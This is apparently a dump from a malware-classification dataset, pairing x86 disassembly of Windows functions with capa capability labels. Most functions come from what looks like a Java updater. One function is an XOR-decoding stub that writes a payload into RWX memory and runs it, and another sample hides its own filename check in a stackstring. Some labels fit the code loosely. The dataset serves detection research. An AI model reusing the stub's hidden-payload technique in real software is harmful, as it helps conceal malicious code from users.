joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002fcaa
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.10039d40
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1002fd05
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.10039bc2
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.10012f8b
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1003b4c0
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.100115e9
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.10030341
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.1003b4c0
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.100115e9
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.10039d40
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x1002fd9f
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x1002fdae
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.100303c0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.10030165
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x1002fddf
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.1002d5a7
add esp, 0x28
test eax, eax
jne 0x1002fe28
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.10005d39
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.100115e9
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.100115e9
mov eax, edi
pop edi
pop ebx
jmp 0x1002fcef
mov edi, ebx
jmp 0x1002fe03
Function at 0x10030a65
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xfb0]
mov eax, 0x1030
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0xfac], eax
push esi
xor esi, esi
push 0x20019
push 0x1006c120
push SysReAllocStringLen
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
call fcn.1003b4c0
test eax, eax
je 0x10030add
lea ecx, [ebp - 0x64]
call fcn.10016b3c
lea ecx, [ebp - 0x7c]
call fcn.10016b3c
lea ecx, [ebp - 0x70]
call fcn.10016b3c
jmp 0x10030bce
push edi
mov edi, str.CAFEEFAC_DEC7_0000_0001_ABCDEFFEDCBA
push edi
lea ecx, [ebp - 0x70]
call fcn.1001a125
push esi
push esi
push 0x2001f
push esi
push esi
push edi
push dword [ebp - 0x70]
lea ecx, [ebp - 0x7c]
call fcn.1003b4c0
test eax, eax
je 0x10030b22
lea ecx, [ebp - 0x64]
call fcn.10016b3c
lea ecx, [ebp - 0x7c]
call fcn.10016b3c
lea ecx, [ebp - 0x70]
call fcn.10016b3c
jmp 0x10030bcd
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push ebx
push 4
pop ebx
push ebx
lea eax, [ebp - 0x58]
push eax
push ebx
push esi
push 0x1007edc8
push dword [ebp - 0x7c]
mov dword [ebp - 0x58], esi
call edi
lea ecx, [ebp - 0x64]
test eax, eax
jne 0x10030bb7
push esi
push esi
push 0x2001f
push esi
push esi
push str.InprocServer32
push dword [ebp - 0x7c]
call fcn.1003b4c0
test eax, eax
jne 0x10030bb4
push 0x800
lea eax, [ebp - 0x54]
push eax
push dword [0x1008360c]
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
test eax, eax
je 0x10030bb4
push ebx
lea eax, [ebp - 0x58]
push eax
push ebx
push esi
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x64]
mov dword [ebp - 0x58], esi
call edi
test eax, eax
jne 0x10030bb4
push ebx
lea eax, [ebp - 0x58]
push eax
push ebx
push esi
push str.Apartment
push dword [ebp - 0x64]
mov dword [ebp - 0x58], str.ThreadingModel
call edi
test eax, eax
jne 0x10030bb4
mov dword [ebp - 0x80], 1
lea ecx, [ebp - 0x64]
call fcn.10016b3c
lea ecx, [ebp - 0x7c]
call fcn.10016b3c
lea ecx, [ebp - 0x70]
call fcn.10016b3c
pop ebx
pop edi
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp + 0xfac]
neg eax
sbb eax, eax
and eax, 0x7ffbfdff
xor ecx, ebp
add eax, 0x80040201
pop esi
call fcn.10039bc2
add ebp, 0xfb0
leave
ret

Function at 0x10032a4d
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x10032a57
lea esi, [ecx - 0x78]
jmp 0x10032a59
xor esi, esi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x10032a75
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8
Function at 0x10034a8f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3f9c]
mov eax, 0x401c
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x3f98], eax
mov eax, dword [ebp + 0x3fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor esi, esi
xor eax, eax
mov ebx, 0xffe
mov dword [ebp - 0x78], esi
push ebx
mov word [ebp + 0x2f98], ax
lea eax, [ebp + 0x2f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.10039d40
xor eax, eax
push ebx
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.10039d40
add esp, 0x18
lea eax, [ebp - 0x80]
push eax
push 0x20019
push esi
push 0x1006c9a0
mov edi, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10034bf8
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push esi
jmp 0x10034be7
lea eax, [ebp + 0x2f98]
push eax
push 0x1006c9f8
push 0x1006c994
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.1003b4c0
add esp, 0x14
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10034bcf
push ebx
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.10039d40
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push str.RuntimeLib
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10034bcf
cmp dword [ebp - 0x6c], esi
jbe 0x10034bcf
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x1006ca68
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], edi
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x10034b31
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x1f98]
push eax
call fcn.10001309
mov ecx, dword [ebp + 0x3f98]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10039bc2
add ebp, 0x3f9c
leave
ret
Function at 0x1003626c
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3fc4]
mov eax, 0x4044
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x3fc0], eax
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xffe
push edi
mov word [ebp + 0x2fc0], ax
xor ebx, ebx
lea eax, [ebp + 0x2fc2]
push ebx
push eax
call fcn.10039d40
push ebx
push 1
mov esi, 0x800
lea eax, [ebp + 0x2fc0]
push esi
push eax
call fcn.10024738
add esp, 0x1c
test eax, eax
jne 0x100362d0
xor eax, eax
inc eax
jmp 0x10036426
lea eax, [ebp + 0x2fc0]
push eax
push str.11.241.2
call fcn.1003b4c0
pop ecx
pop ecx
test eax, eax
jg 0x100362c8
xor eax, eax
push edi
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push ebx
push eax
call fcn.10039d40
push ebx
lea eax, [ebp + 0x2fc0]
push eax
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.1001c257
add esp, 0x1c
test eax, eax
je 0x100362c8
xor eax, eax
push edi
mov word [ebp + 0xfc0], ax
lea eax, [ebp + 0xfc2]
push ebx
push eax
call fcn.10039d40
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp + 0xfc0]
push esi
push eax
call fcn.1003b4c0
push str._bin_ssvagent.exe
lea eax, [ebp + 0xfc0]
push esi
push eax
call fcn.1003b4c0
push 0x3c
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.10039d40
xor eax, eax
push edi
mov word [ebp + 0x1fc0], ax
lea eax, [ebp + 0x1fc2]
push ebx
push eax
mov dword [ebp - 0x80], 0x3c
call fcn.10039d40
push str._high__jpisetup__register
lea eax, [ebp + 0x1fc0]
push esi
push eax
call fcn.1003b4c0
add esp, 0x48
call fcn.1002d15b
mov dword [ebp - 0x74], str.runas
test eax, eax
jne 0x100363a1
mov dword [ebp - 0x74], str.open
lea eax, [ebp + 0xfc0]
mov dword [ebp - 0x70], eax
xor edi, edi
lea eax, [ebp + 0x2fc0]
inc edi
push eax
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x7c], 0x40
call fcn.1002debf
test eax, eax
pop ecx
lea eax, [ebp + 0x1fc0]
je 0x100363d5
push str.__new
jmp 0x100363da
push str.__old
push esi
push eax
call fcn.1003b4c0
lea eax, [ebp + 0x1fc0]
mov dword [ebp - 0x6c], eax
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10036424
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x48], ebx
je 0x10036424
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp + 0x3fc0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10039bc2
add ebp, 0x3fc4
leave
ret
Function at 0x10036629
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xf94]
mov eax, 0x1014
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0xf90], eax
mov eax, dword [ebp + 0xf9c]
push esi
xor ecx, ecx
mov dword [ebp - 0x80], eax
mov word [eax], cx
lea eax, [ebp - 0x78]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1006d208
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x78], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10036729
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x7c], esi
push esi
jmp 0x10036714
xor ecx, ecx
xor eax, eax
cmp dword [ebp - 0x74], esi
jbe 0x10036702
cmp word [ebp + eax*2 - 0x70], 0x2e
jne 0x100366ae
inc ecx
cmp ecx, 1
jg 0x100366b9
inc eax
cmp eax, dword [ebp - 0x74]
jb 0x100366a0
cmp ecx, 1
jle 0x10036702
lea eax, [ebp - 0x70]
push 0x1006d1fc
push eax
call fcn.1003b4c0
pop ecx
pop ecx
test eax, eax
js 0x10036702
lea eax, [ebp - 0x70]
push eax
call fcn.10036485
pop ecx
test al, al
je 0x10036702
push dword [ebp - 0x80]
lea eax, [ebp - 0x70]
push eax
call fcn.1003b4c0
pop ecx
pop ecx
test eax, eax
jle 0x10036702
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xfa0]
push dword [ebp - 0x80]
call fcn.1003b4c0
add esp, 0xc
inc dword [ebp - 0x7c]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], 0x800
call edi
test eax, eax
je 0x10036697
pop edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0xf90]
xor ecx, ebp
pop esi
call fcn.10039bc2
add ebp, 0xf94
leave
ret
Function at 0x10036976
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push 0x10
mov eax, 0x100596c7
call fcn.10039bd1
and dword [ebp - 0x10], 0
push dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.10001309
mov edi, dword [ebp - 0x14]
xor eax, eax
mov byte [ebp - 4], 1
test edi, edi
je 0x100369a9
cmp dword [edi], eax
sete al
jmp 0x100369aa
inc eax
test al, al
je 0x100369b5
push 0x1006d109
jmp 0x100369da
test edi, edi
je 0x100369bd
mov eax, dword [edi]
jmp 0x100369bf
xor eax, eax
push eax
call fcn.1003b4c0
pop ecx
test eax, eax
jne 0x10036a15
test edi, edi
je 0x100369d7
mov ecx, edi
call fcn.10028aad
jmp 0x100369d9
xor eax, eax
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
je 0x10036ab7
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.wsock32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x18]
call fcn.1001060c
push eax
lea ecx, [ebp - 0x10]
call fcn.1000147f
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10036a2a
call fcn.10001441
jmp 0x10036a2a
cmp eax, 1
jne 0x10036ab7
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000147f
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10036a38
call fcn.10028aad
jmp 0x10036a3a
xor eax, eax
push eax
call dword [sym.imp.wsock32.dll_inet_addr]
push 2
mov dword [ebp - 0x1c], eax
push 4
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.wsock32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
jne 0x10036a6c
test edi, edi
je 0x10036a63
mov ecx, edi
call fcn.10001441
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10036ac2
jmp 0x10036abd
mov ecx, dword [esi]
mov eax, ecx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10036a73
sub eax, edi
push eax
push ecx
call fcn.1003b4c0
pop ecx
pop ecx
push dword [esi]
lea ecx, [ebp - 0x18]
call fcn.1001060c
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10036a9b
call fcn.10001441
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10036aa7
call fcn.10001441
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10036ab3
call fcn.10001441
mov al, 1
jmp 0x10036ac4
test edi, edi
je 0x10036ac2
mov ecx, edi
call fcn.10001441
xor al, al
call fcn.10039c70
ret
Function at 0x100373b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.10039d10
push 0xffffffffffffffff
push 0x10059845
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0x100c]
xor edi, edi
mov dword [ebp - 0x18], edi
xor eax, eax
push 0xffe
mov word [ebp], ax
lea eax, [ebp + 2]
push edi
push eax
mov dword [ebp - 4], edi
call fcn.10039d40
mov eax, dword [ebp + 0x1010]
add esp, 0xc
cmp eax, edi
je 0x10037425
mov esi, dword [eax]
jmp 0x10037427
xor esi, esi
movzx eax, word [esi]
xor edx, edx
xor ecx, ecx
cmp ax, di
je 0x1003754c
cmp ax, 0x2e
jne 0x10037443
inc edx
cmp edx, 1
jg 0x10037456
inc ecx
movzx eax, word [esi + ecx*2]
cmp ax, di
jne 0x10037437
cmp edx, 1
jle 0x1003754c
push 0x1006d7bc
push esi
call fcn.1003b4c0
pop ecx
pop ecx
test eax, eax
js 0x1003754c
push esi
call fcn.10036485
pop ecx
test al, al
je 0x1003754c
push 0x1006d7d8
lea ecx, [ebp - 0x14]
call fcn.10001309
push 0x1006d7d4
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.1001060c
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.10001524
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
cmp ecx, edi
je 0x100374b8
call fcn.10001441
push esi
lea ecx, [ebp - 0x10]
call fcn.10001309
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.10001524
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
cmp ecx, edi
je 0x100374e1
call fcn.10001441
mov esi, dword [ebp - 0x14]
cmp esi, edi
je 0x100374ec
mov eax, dword [esi]
jmp 0x100374ee
xor eax, eax
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push edi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10037534
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
push 0x1006d830
push dword [ebp - 0x18]
mov dword [ebp - 0x10], 0x1000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10037534
xor eax, eax
mov word [ebp], ax
lea eax, [ebp]
push eax
mov ecx, ebx
call fcn.10001309
cmp esi, edi
je 0x1003756c
mov ecx, esi
call fcn.10001441
jmp 0x1003756c
push str.1.3.1
push esi
call fcn.1003b4c0
push esi
call fcn.10036485
add esp, 0xc
push 0x1006d10e
mov ecx, ebx
call fcn.1001060c
mov ecx, dword [ebp + 0x1010]
cmp ecx, edi
je 0x1003757b
call fcn.10001441
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.10039bc2
add ebp, 0x1004
leave
ret
Function at 0x10039bc2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10080f6c]
jne 0x10039bcc
repz ret
jmp fcn.10042bbc

Function at 0x1003b4c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1003b4cf
pop dword [ebp - 0x24]
mov eax, 0xc33d7e84
sub eax, 0xb339c9b5
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x41c7e
push 0
mov eax, 0xac95d880
add eax, 0x636fca18
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xcb2d5b3e
add ecx, 0x34d2dd8b
mov ebx, eax
mov esi, 0x583adb86
add esi, 0xb7d1f67a
add esi, dword [ebp - 0x24]
mov edx, 0xa2bb7e8e
add dword [ebp - 0xc], eax
mov edi, dword [esi]
xor dword [ebp - 0x20], 0x1cd7b8f7
xor edi, edx
mov dword [ebx], edi
mov dword [ebp - 0x14], 0xd50d10f4
add ebx, 4
add esi, 0xe4005612
add esi, 0x1bffa9f2
loop 0x1003b528
add eax, 0xd5f7
mov ebx, eax
add eax, 0x8e6b1b81
add eax, 0x7194e484
mov ecx, 0x33ddd7b9
sub ecx, 0x23ddd7b9
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1005558b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10083640], 0
push esi
push edi
jne 0x10055501
call fcn.1005546d
test eax, eax
je 0x10055546
mov eax, dword [0x10083640]
cmp eax, 1
jne 0x10055522
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x10055546
jmp 0x10055588
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x10055588
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1005554a
xor eax, eax
jmp 0x10055588
mov eax, dword [esi]
push dword [0x10083640]
call edi
mov edi, eax
test edi, edi
je 0x1005556c
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x10055588
lea edi, [esi + 0xff0]
push esi
push dword [0x10083640]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x10055572
mov eax, esi
pop edi
pop esi
ret
jmp 0x100554ed
Function at 0x401070
Capabilities:
Enumerate processes
Get process image filename

Disassembly:
push ebp
lea ebp, [esp - 0x5c8]
sub esp, 0x648
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x5c4], eax
mov dword [ebp - 0x78], 0xffffffff
mov dword [ebp - 0x74], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x68], 0
push 0x228
push 0
lea eax, [ebp - 0x64]
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
mov dword [ebp - 0x68], 0x22c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x78], eax
lea ecx, [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401102
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x78]
jne 0x4010f0
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x74], ecx
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4010e2
mov ecx, dword [ebp - 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x74]
push edx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x80], eax
push 0x400
lea eax, [ebp + 0x1c4]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
push str._
lea edx, [ebp + 0x1c4]
push edx
call dword [sym.imp.MSVCR110.dll_strtok]
add esp, 8
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x40116f
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x7c], eax
push 0x4020fc
push 0
call dword [sym.imp.MSVCR110.dll_strtok]
add esp, 8
mov dword [ebp - 0x6c], eax
jmp 0x40114e
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp + 0x5c4]
xor ecx, ebp
call fcn.00401738
add ebp, 0x5c8
mov esp, ebp
pop ebp
ret
Function at 0x401300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x18], 0x6d
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x68
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x43
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x78
mov byte [ebp - 8], 0x65
mov byte [ebp - 0x418], 0
push 0x3ff
push 0
lea eax, [ebp - 0x417]
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x424], ecx
push 0x400
mov edx, dword [ebp - 0x424]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x400
jae 0x401423
push 0x402100
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.MSVCR110.dll_strtok]
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x4013ee
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0x428], ecx
push 0x402104
push 0
call dword [sym.imp.MSVCR110.dll_strtok]
add esp, 8
mov dword [ebp - 0x41c], eax
jmp 0x4013c1
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.MSVCR110.dll_strlen]
add esp, 4
push eax
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x428]
push ecx
call dword [sym.imp.MSVCR110.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x40141d
mov eax, 1
jmp 0x401425
xor eax, eax
jmp 0x401425
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401738
mov esp, ebp
pop ebp
ret

Function at 0x401440
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0x2200
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x402108
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x10], eax
mov esp, ebp
pop ebp
ret